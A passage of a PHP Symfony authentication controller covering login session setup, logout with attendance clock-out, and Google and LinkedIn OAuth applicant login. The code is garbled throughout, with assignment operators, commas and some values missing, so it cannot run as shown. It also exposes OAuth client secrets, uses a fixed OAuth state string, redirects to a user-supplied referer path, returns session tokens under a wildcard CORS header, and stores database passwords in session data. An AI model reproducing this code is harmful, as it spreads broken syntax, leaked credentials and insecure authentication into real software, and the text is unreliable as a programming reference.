  5430.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5431.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5432.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5433.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5434.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5435.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5436.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5437.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5438.                         UserConstants::USER_GOC_ID => $gocId,
  5439.                         UserConstants::USER_DB_NAME => $gocDbName,
  5440.                         UserConstants::USER_DB_USER => $gocDbUser,
  5441.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5442.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5443.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5444.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5445.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5446.                         UserConstants::USER_LOGIN_ID => $loginID,
  5447.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5448.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5449.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5450.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5451.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5452.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5453.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5454.                         'REMEMBERME' => $remember_me,
  5455.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5456.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5457.                         'oAuthToken' => $oAuthToken,
  5458.                         'locale' => $locale,
  5459.                         'firebaseToken' => $firebaseToken,
  5460.                         'token' => $session->get('token'),
  5461.                         'firstLogin' => $firstLogin,
  5462.                         'oAuthImage' => $oAuthImage,
  5463.                         'appIdList' => json_encode($appIdList),
  5464.                         'branchIdList' => json_encode($branchIdList),
  5465.                         'branchId' => $branchId,
  5466.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5467.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5468.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5469.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5470.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5471.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5472.                     );
  5473.                     if ($systemType == '_CENTRAL_') {
  5474.                         $accessList = [];
  5475. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5476.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5477.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5478.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5479.                                     $d = array(
  5480.                                         'userType' => $thisUserUserType,
  5481.                                         'globalId' => $globalId,
  5482.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  5483.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  5484.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  5485.                                         'systemType' => '_ERP_',
  5486.                                         'companyId' => 1,
  5487.                                         'appId' => $thisUserAppId,
  5488.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  5489.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  5490.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  5491.                                                 array(
  5492.                                                     'globalId' => $globalId,
  5493.                                                     'appId' => $thisUserAppId,
  5494.                                                     'authenticate' => 1,
  5495.                                                     'userType' => $thisUserUserType
  5496.                                                 )
  5497.                                             )
  5498.                                         ),
  5499.                                         'userCompanyList' => [
  5500.                                         ]
  5501.                                     );
  5502.                                     $accessList[] = $d;
  5503.                                 }
  5504.                             }
  5505.                         }
  5506.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  5507.                         $session_data['userAccessList'] = $accessList;
  5508.                     }
  5509.                     $ultimateData System::setSessionForUser($em_goc,
  5510.                         $session,
  5511.                         $session_data,
  5512.                         $config
  5513.                     );
  5514. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  5515.                     $session_data $ultimateData['sessionData'];
  5516.                     $session_data $this->filterClientSessionData($session_data);
  5517.                     $token $ultimateData['token'];
  5518.                     $session->set('token'$token);
  5519.                     if ($systemType == '_CENTRAL_') {
  5520.                         $session->set('csToken'$token);
  5521.                     } else {
  5522.                         $session->set('csToken'$csToken);
  5523.                     }
  5524.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  5525.                         $session->set('remoteVerified'1);
  5526.                         $response = new JsonResponse(array(
  5527.                             'token' => $token,
  5528.                             'uid' => $session->get(UserConstants::USER_ID),
  5529.                             'session' => $session,
  5530.                             'success' => true,
  5531.                             'session_data' => $session_data,
  5532.                         ));
  5533.                         $response->headers->set('Access-Control-Allow-Origin''*');
  5534.                         return $response;
  5535.                     }
  5536.                     //TEMP START
  5537.                     if ($systemType == '_CENTRAL_') {
  5538.                         return $this->redirectToRoute('central_landing');
  5539.                     }
  5540.                     //TREMP END
  5541.                     if ($userForcedRoute != '')
  5542.                         return $this->redirectToRoute($userForcedRoute);
  5543.                     if ($request->request->has('referer_path')) {
  5544.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  5545.                             return $this->redirect($request->request->get('referer_path'));
  5546.                         }
  5547.                     }
  5548.                     if ($request->query->has('refRoute')) {
  5549.                         if ($request->query->get('refRoute') == '8917922')
  5550.                             $userDefaultRoute 'apply_for_consultant';
  5551.                     }
  5552.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  5553.                         $userDefaultRoute 'dashboard';
  5554.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5555.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5556.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5557.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5558.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5559.                                 return $this->redirect($red);
  5560.                             }
  5561.                         } else {
  5562.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5563.                         }
  5564.                     } else
  5565.                         return $this->redirectToRoute($userDefaultRoute);
  5566.                 }
  5567.             }
  5568.         }
  5569.         $session $request->getSession();
  5570.         if (isset($encData['appId'])) {
  5571.             if (isset($gocDataListByAppId[$encData['appId']]))
  5572.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  5573.         }
  5574.         $routeName $request->attributes->get('_route');
  5575.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  5576.             $refRoute '';
  5577.             $message '';
  5578.             $errorField '_NONE_';
  5579. //            if ($request->query->has('message')) {
  5580. //                $message = $request->query->get('message');
  5581. //
  5582. //            }
  5583. //            if ($request->query->has('errorField')) {
  5584. //                $errorField = $request->query->get('errorField');
  5585. //
  5586. //            }
  5587.             if ($refRoute != '') {
  5588.                 if ($refRoute == '8917922')
  5589.                     $redirectRoute 'apply_for_consultant';
  5590.             }
  5591.             if ($request->query->has('refRoute')) {
  5592.                 $refRoute $request->query->get('refRoute');
  5593.                 if ($refRoute == '8917922')
  5594.                     $redirectRoute 'apply_for_consultant';
  5595.             }
  5596.             $google_client = new Google_Client();
  5597. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5598. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5599.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5600.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5601.             } else {
  5602.                 $url $this->generateUrl(
  5603.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5604.                 );
  5605.             }
  5606.             $selector BuddybeeConstant::$selector;
  5607.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5608. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5609.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5610. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5611.             $google_client->setRedirectUri($url);
  5612.             $google_client->setAccessType('offline');        // offline access
  5613.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5614.             $google_client->setRedirectUri($url);
  5615.             $google_client->addScope('email');
  5616.             $google_client->addScope('profile');
  5617.             $google_client->addScope('openid');
  5618.             return $this->render(
  5619.                 '@Authentication/pages/views/applicant_login.html.twig',
  5620.                 [
  5621.                     'page_title' => 'BuddyBee Login',
  5622.                     'oAuthLink' => $google_client->createAuthUrl(),
  5623.                     'redirect_url' => $url,
  5624.                     'message' => $message,
  5625.                     'errorField' => '',
  5626.                     'systemType' => $systemType,
  5627.                     'ownServerId' => $ownServerId,
  5628.                     'refRoute' => $refRoute,
  5629.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5630.                     'selector' => $selector
  5631.                 ]
  5632.             );
  5633.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  5634.             $refRoute '';
  5635.             $message '';
  5636.             $errorField '_NONE_';
  5637. //            if ($request->query->has('message')) {
  5638. //                $message = $request->query->get('message');
  5639. //
  5640. //            }
  5641. //            if ($request->query->has('errorField')) {
  5642. //                $errorField = $request->query->get('errorField');
  5643. //
  5644. //            }
  5645.             if ($refRoute != '') {
  5646.                 if ($refRoute == '8917922')
  5647.                     $redirectRoute 'apply_for_consultant';
  5648.             }
  5649.             if ($request->query->has('refRoute')) {
  5650.                 $refRoute $request->query->get('refRoute');
  5651.                 if ($refRoute == '8917922')
  5652.                     $redirectRoute 'apply_for_consultant';
  5653.             }
  5654.             $google_client = new Google_Client();
  5655. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5656. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5657.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5658.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  5659.             } else {
  5660.                 $url $this->generateUrl(
  5661.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  5662.                 );
  5663.             }
  5664.             $selector BuddybeeConstant::$selector;
  5665. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5666.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  5667. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5668.             $google_client->setRedirectUri($url);
  5669.             $google_client->setAccessType('offline');        // offline access
  5670.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5671.             $google_client->setRedirectUri($url);
  5672.             $google_client->addScope('email');
  5673.             $google_client->addScope('profile');
  5674.             $google_client->addScope('openid');
  5675.             return $this->render(
  5676.                 '@Authentication/pages/views/central_login.html.twig',
  5677.                 [
  5678.                     'page_title' => 'Central Login',
  5679.                     'oAuthLink' => $google_client->createAuthUrl(),
  5680.                     'redirect_url' => $url,
  5681.                     'message' => $message,
  5682.                     'systemType' => $systemType,
  5683.                     'ownServerId' => $ownServerId,
  5684.                     'errorField' => '',
  5685.                     'refRoute' => $refRoute,
  5686.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  5687.                     'selector' => $selector
  5688.                 ]
  5689.             );
  5690.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  5691.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  5692.         } else
  5693.             return $this->render(
  5694.                 '@Authentication/pages/views/login_new.html.twig',
  5695.                 array(
  5696.                     "message" => $message,
  5697.                     'page_title' => 'Login',
  5698.                     'gocList' => $gocDataListForLoginWeb,
  5699.                     'gocId' => $gocId != $gocId '',
  5700.                     'systemType' => $systemType,
  5701.                     'ownServerId' => $ownServerId,
  5702.                     'encData' => $encData,
  5703.                     //                'ref'=>$request->
  5704.                 )
  5705.             );
  5706.     }
  5707.     public function initiateAdminAction(Request $request$remoteVerify 0)
  5708.     {
  5709.         $em $this->getDoctrine()->getManager();
  5710.         MiscActions::initiateAdminUser($em);
  5711.         $this->addFlash(
  5712.             'success',
  5713.             'The Action was Successful.'
  5714.         );
  5715.         return $this->redirectToRoute('user_login');
  5716.     }
  5717.     public function LogoutAction(Request $request$remoteVerify 0)
  5718.     {
  5719.         $session $request->getSession();
  5720.         $em_goc $this->getDoctrine()->getManager('company_group');
  5721.         $session $request->getSession();
  5722.         $token $request->headers->get('auth-token'$request->request->get('token'$request->request->get('hbeeSessionToken''')));
  5723. //        return new JsonResponse([$token]);
  5724.         if ($session->get(UserConstants::USER_ID0) == 0) {
  5725. //                    return new JsonResponse([$token]);
  5726.             $to_set_session_data MiscActions::GetSessionDataFromToken($em_goc$token)['sessionData'];
  5727.             if ($to_set_session_data != null) {
  5728.                 foreach ($to_set_session_data as $k => $d) {
  5729.                     //check if mobile
  5730.                     $session->set($k$d);
  5731.                 }
  5732.             } else {
  5733.                 $hbeeErrorCode ApiConstants::ERROR_TOKEN_EXPIRED;
  5734.             }
  5735.         }
  5736.         $userId $session->get(UserConstants::USER_ID);
  5737.         $currentTime = new \Datetime();
  5738.         $currTs $currentTime->format('U');
  5739.         $routeName $request->attributes->get('_route');
  5740.         $currentTaskId $session->get(UserConstants::USER_CURRENT_TASK_ID0);
  5741.         $currentPlanningItemId $session->get(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5742.         if ($request->query->get('endCurrentTask'1) == 1) {
  5743.             if (
  5744.                 ($currentTaskId != && $currentTaskId != null && $currentTaskId != '') &&
  5745.                 ($session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_GENERAL ||
  5746.                     $session->get(UserConstants::USER_TYPE) == UserConstants::USER_TYPE_SYSTEM)
  5747.             ) {
  5748.                 $gocId $session->get(UserConstants::USER_GOC_ID);
  5749.                 $appId $session->get(UserConstants::USER_APP_ID);
  5750.                 $acknowledgementService $this->get('app.public_document_acknowledgement_service');
  5751.                 list($em$goc) = $acknowledgementService->getPublicDocumentEntityManager($appId);
  5752.                 $stmt $em->getConnection()->executeStatement('UPDATE task_log set working_status=2, actual_end_ts=' $currTs ' where working_status=1 and user_id= ' $session->get(UserConstants::USER_ID) . ' ;');
  5753.                 if (1) {
  5754.                     $session->set(UserConstants::USER_CURRENT_TASK_ID0);
  5755.                     $session->set(UserConstants::USER_CURRENT_PLANNING_ITEM_ID0);
  5756.                     $empId $session->get(UserConstants::USER_EMPLOYEE_ID0);
  5757.                     $currTime = new \DateTime();
  5758.                     $options = array(
  5759.                         'notification_enabled' => $this->container->getParameter('notification_enabled'),
  5760.                         'notification_server' => $this->container->getParameter('notification_server'),
  5761.                     );
  5762.                     $positionsArray = [
  5763.                         array(
  5764.                             'employeeId' => $empId,
  5765.                             'userId' => $session->get(UserConstants::USER_ID0),
  5766.                             'sysUserId' => $session->get(UserConstants::USER_ID0),
  5767.                             'timeStamp' => $currTime->format(DATE_ISO8601),
  5768.                             'lat' => 23.8623834,
  5769.                             'lng' => 90.3979294,
  5770.                             'markerId' => HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT,
  5771. //                            'userId'=>$session->get(UserConstants::USER_ID, 0),
  5772.                         )
  5773.                     ];
  5774.                     if (is_string($positionsArray)) $positionsArray json_decode($positionsArraytrue);
  5775.                     if ($positionsArray == null$positionsArray = [];
  5776.                     $dataByAttId = [];
  5777.                     $workPlaceType '_UNSET_';
  5778.                     foreach ($positionsArray as $findex => $d) {
  5779.                         $sysUserId 0;
  5780.                         $userId 0;
  5781.                         $empId 0;
  5782.                         $dtTs 0;
  5783.                         $timeZoneStr '+0000';
  5784.                         if (isset($d['employeeId'])) $empId $d['employeeId'];
  5785.                         if (isset($d['userId'])) $userId $d['userId'];
  5786.                         if (isset($d['sysUserId'])) $sysUserId $d['sysUserId'];
  5787.                         if (isset($d['tsMilSec'])) {
  5788.                             $dtTs ceil(($d['tsMilSec']) / 1000);
  5789.                         }
  5790.                         if ($dtTs == 0) {
  5791.                             $currTsTime = new \DateTime();
  5792.                             $dtTs $currTsTime->format('U');
  5793.                         } else {
  5794.                             $currTsTime = new \DateTime('@' $dtTs);
  5795.                         }
  5796.                         $currTsTime->setTimezone(new \DateTimeZone('UTC'));
  5797.                         $attDate = new \DateTime($currTsTime->format('Y-m-d') . ' 00:00:00' $timeZoneStr);
  5798.                         $EmployeeAttendance $this->getDoctrine()
  5799.                             ->getRepository(EmployeeAttendance::class)
  5800.                             ->findOneBy(array('employeeId' => $empId'date' => $attDate));
  5801.                         if (!$EmployeeAttendance) {
  5802.                             continue;
  5803.                         } else {
  5804.                         }
  5805.                         $attendanceInfo HumanResource::StoreAttendance($em$empId$sysUserId$request$EmployeeAttendance$attDate$dtTs$timeZoneStr$d['markerId']);
  5806.                         if ($d['markerId'] == HumanResourceConstant::ATTENDANCE_MARKER_CLOCK_OUT) {
  5807.                             $workPlaceType '_STATIC_';
  5808.                         }
  5809.                         if (!isset($dataByAttId[$attendanceInfo->getId()]))
  5810.                             $dataByAttId[$attendanceInfo->getId()] = array(
  5811.                                 'attendanceInfo' => $attendanceInfo,
  5812.                                 'empId' => $empId,
  5813.                                 'lat' => 0,
  5814.                                 'lng' => 0,
  5815.                                 'address' => 0,
  5816.                                 'sysUserId' => $sysUserId,
  5817.                                 'companyId' => $request->getSession()->get(UserConstants::USER_COMPANY_ID),
  5818.                                 'appId' => $request->getSession()->get(UserConstants::USER_APP_ID),
  5819.                                 'positionArray' => []
  5820.                             );
  5821.                         $posData = array(
  5822.                             'ts' => $dtTs,
  5823.                             'lat' => $d['lat'],
  5824.                             'lng' => $d['lng'],
  5825.                             'marker' => $d['markerId'],
  5826.                             'src' => 2,
  5827.                         );
  5828.                         $posDataArray = array(
  5829.                             $dtTs,
  5830.                             $d['lat'],
  5831.                             $d['lng'],
  5832.                             $d['markerId'],
  5833.                             2
  5834.                         );
  5835.                         $dataByAttId[$attendanceInfo->getId()]['markerId'] = $d['markerId'];
  5836.                         //this markerId will be calclulted and modified to check if user is in our out of office/workplace later
  5837.                         $dataByAttId[$attendanceInfo->getId()]['attendanceInfo'] = $attendanceInfo;
  5838.                         $dataByAttId[$attendanceInfo->getId()]['positionArray'][] = $posData;
  5839.                         $dataByAttId[$attendanceInfo->getId()]['lat'] = $d['lat'];  //for last lat lng etc
  5840.                         $dataByAttId[$attendanceInfo->getId()]['lng'] = $d['lng'];  //for last lat lng etc
  5841.                         if (isset($d['address']))
  5842.                             $dataByAttId[$attendanceInfo->getId()]['address'] = $d['address'];  //for last lat lng etc
  5843. //                $dataByAttId[$attendanceInfo->getId()]['positionArray'][]=$posDataArray;
  5844.                     }
  5845.                     $response = array(
  5846.                         'success' => true,
  5847.                     );
  5848.                     foreach ($dataByAttId as $attInfoId => $d) {
  5849.                         $response HumanResource::setAttendanceLogFlutterApp($em,
  5850.                             $d['empId'],
  5851.                             $d['sysUserId'],
  5852.                             $d['companyId'],
  5853.                             $d['appId'],
  5854.                             $request,
  5855.                             $d['attendanceInfo'],
  5856.                             $options,
  5857.                             $d['positionArray'],
  5858.                             $d['lat'],
  5859.                             $d['lng'],
  5860.                             $d['address'],
  5861.                             $d['markerId']
  5862.                         );
  5863.                     }
  5864.                 }
  5865.             }
  5866.         }
  5867.         if ($token != '')
  5868.             MiscActions::DeleteToken($em_goc$token);
  5869.         $session->clear();
  5870.         $session->set('CLEARLOGIN'1);
  5871.         if (strripos($request->server->get('HTTP_REFERER'), 'select_data') === false) {
  5872.             if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  5873.                 $referrerPath parse_url($request->server->get('HTTP_REFERER'), PHP_URL_PATH);
  5874.                 $referrerPath strtolower($referrerPath === false || $referrerPath === null $request->server->get('HTTP_REFERER') : $referrerPath);
  5875.                 if (strripos($referrerPath'/auth/') === false && strripos($referrerPath'undefined') === false
  5876.                     && strripos($referrerPath'signature_status') === false && strripos($referrerPath'/api/') === false) {
  5877.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN'$request->server->get('HTTP_REFERER'));
  5878.                 } else {
  5879.                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5880.                 }
  5881.             }
  5882.         } else {
  5883.             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5884.         }
  5885. //        $request->headers->setCookie(Cookie::create('CLEARLOGINCOOKIE', 1
  5886. //            )
  5887. //
  5888. //        );
  5889.         if ($routeName == 'app_logout_api' || $request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == || $request->get('returnJson'0) == 1) {
  5890.             if ($userId) {
  5891.                 return new JsonResponse(array(
  5892.                     "success" => empty($session->get(UserConstants::USER_ID)) ? true false,
  5893.                     "message" => "Logout Successfull!",
  5894.                     'session_data' => [],
  5895.                     'userId' => $userId
  5896.                 ));
  5897.             } else {
  5898.                 return new JsonResponse(array(
  5899.                     "success" => empty($session->get(UserConstants::USER_ID)) ? false true,
  5900.                     "message" => "Already Logout",
  5901.                     'session_data' => [],
  5902.                     'userId' => $userId
  5903.                 ));
  5904.             }
  5905.         }
  5906.         return $this->redirectToRoute("dashboard");
  5907.     }
  5908.     public function applicantLoginAction(Request $request$encData ''$remoteVerify 0)
  5909.     {
  5910.         $session $request->getSession();
  5911.         $email $request->getSession()->get('userEmail');
  5912.         $sessionUserId $request->getSession()->get('userId');
  5913.         $oAuthData = [];
  5914. //    $encData='';
  5915.         $em $this->getDoctrine()->getManager('company_group');
  5916.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  5917.         $redirectRoute 'dashboard';
  5918.         if ($encData != '') {
  5919.             if ($encData == '8917922')
  5920.                 $redirectRoute 'apply_for_consultant';
  5921.         }
  5922.         if ($request->query->has('encData')) {
  5923.             $encData $request->query->get('encData');
  5924.             if ($encData == '8917922')
  5925.                 $redirectRoute 'apply_for_consultant';
  5926.         }
  5927.         $message '';
  5928.         $errorField '_NONE_';
  5929.         if ($request->query->has('message')) {
  5930.             $message $request->query->get('message');
  5931.         }
  5932.         if ($request->query->has('errorField')) {
  5933.             $errorField $request->query->get('errorField');
  5934.         }
  5935.         if ($request->request->has('oAuthData')) {
  5936.             $oAuthData $request->request->get('oAuthData', []);
  5937.         } else {
  5938.             $oAuthData = [
  5939.                 'email' => $request->request->get('email'''),
  5940.                 'uniqueId' => $request->request->get('uniqueId'''),
  5941.                 'oAuthHash' => '_NONE_',
  5942.                 'image' => $request->request->get('image'''),
  5943.                 'emailVerified' => $request->request->get('emailVerified'''),
  5944.                 'name' => $request->request->get('name'''),
  5945.                 'firstName' => $request->request->get('firstName'''),
  5946.                 'lastName' => $request->request->get('lastName'''),
  5947.                 'type' => 1,
  5948.                 'token' => $request->request->get('oAuthtoken'''),
  5949.             ];
  5950.         }
  5951.         $isApplicantExist null;
  5952.         if ($email) {
  5953.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5954.                 $isApplicantExist $applicantRepo->findOneBy([
  5955.                     'applicantId' => $sessionUserId
  5956.                 ]);
  5957.             } else
  5958.                 return $this->redirectToRoute($redirectRoute);
  5959.         }
  5960.         $google_client = new Google_Client();
  5961. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  5962. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  5963.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  5964.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  5965.         } else {
  5966.             $url $this->generateUrl(
  5967.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  5968.             );
  5969.         }
  5970.         $selector BuddybeeConstant::$selector;
  5971.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  5972.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  5973. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  5974.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  5975. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  5976.         $google_client->setRedirectUri($url);
  5977.         $google_client->setAccessType('offline');        // offline access
  5978.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  5979.         $google_client->addScope('email');
  5980.         $google_client->addScope('profile');
  5981.         $google_client->addScope('openid');
  5982. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  5983.         //linked in 1st
  5984.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  5985.             $curl curl_init();
  5986.             curl_setopt_array($curl, array(
  5987.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  5988.                 CURLOPT_HEADER => false,  // don't return headers
  5989.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  5990.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  5991.                 CURLOPT_ENCODING => "",     // handle compressed
  5992.                 CURLOPT_USERAGENT => "test"// name of client
  5993.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  5994.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  5995.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  5996.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  5997.                 CURLOPT_USERAGENT => 'InnoPM',
  5998.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  5999.                 CURLOPT_POST => 1,
  6000.                 CURLOPT_HTTPHEADER => array(
  6001.                     'Content-Type: application/x-www-form-urlencoded'
  6002.                 )
  6003.             ));
  6004.             $content curl_exec($curl);
  6005.             $contentArray = [];
  6006.             curl_close($curl);
  6007.             $token false;
  6008. //      return new JsonResponse(array(
  6009. //          'content'=>$content,
  6010. //          'contentArray'=>json_decode($content,true),
  6011. //
  6012. //      ));
  6013.             if ($content) {
  6014.                 $contentArray json_decode($contenttrue);
  6015.                 $token $contentArray['access_token'];
  6016.             }
  6017.             if ($token) {
  6018.                 $applicantInfo = [];
  6019.                 $curl curl_init();
  6020.                 curl_setopt_array($curl, array(
  6021.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6022.                     CURLOPT_HEADER => false,  // don't return headers
  6023.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6024.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6025.                     CURLOPT_ENCODING => "",     // handle compressed
  6026.                     CURLOPT_USERAGENT => "test"// name of client
  6027.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6028.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6029.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6030.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6031.                     CURLOPT_USERAGENT => 'InnoPM',
  6032.                     CURLOPT_HTTPGET => 1,
  6033.                     CURLOPT_HTTPHEADER => array(
  6034.                         'Authorization: Bearer ' $token,
  6035.                         'Header-Key-2: Header-Value-2'
  6036.                     )
  6037.                 ));
  6038.                 $userGeneralcontent curl_exec($curl);
  6039.                 curl_close($curl);
  6040.                 if ($userGeneralcontent) {
  6041.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6042.                 }
  6043.                 $curl curl_init();
  6044.                 curl_setopt_array($curl, array(
  6045.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6046.                     CURLOPT_HEADER => false,  // don't return headers
  6047.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6048.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6049.                     CURLOPT_ENCODING => "",     // handle compressed
  6050.                     CURLOPT_USERAGENT => "test"// name of client
  6051.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
